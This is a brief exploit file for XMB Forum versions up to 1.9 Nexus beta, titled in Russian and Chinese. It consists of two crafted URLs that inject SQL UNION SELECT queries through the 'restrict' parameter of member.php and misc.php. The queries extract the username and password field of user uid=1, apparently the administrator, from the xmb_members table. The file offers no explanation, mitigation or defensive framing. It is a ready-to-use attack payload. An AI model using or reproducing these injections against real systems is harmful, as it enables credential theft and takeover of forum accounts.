sql-инъекция в xmb forum 小于等于 1.9 nexus beta exploit.txt

一些可以实现益出的程序

http://site.com/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=
f.private=-99 GROUP BY p.fid UNION SELECT username, null,99 FROM xmb_members WHERE uid=1 LIMIT 1 /*
;-----------

http://localhost/xmb19beta/misc.php?action=search&restrict= private=-99 UNION SELECT null, null,password, null, null, null, null, null, null, null, null, null, null,
null, null, null, null, null, null, null, null, null,null 
FROM xmb_members WHERE uid=1 LIMIT 1 /*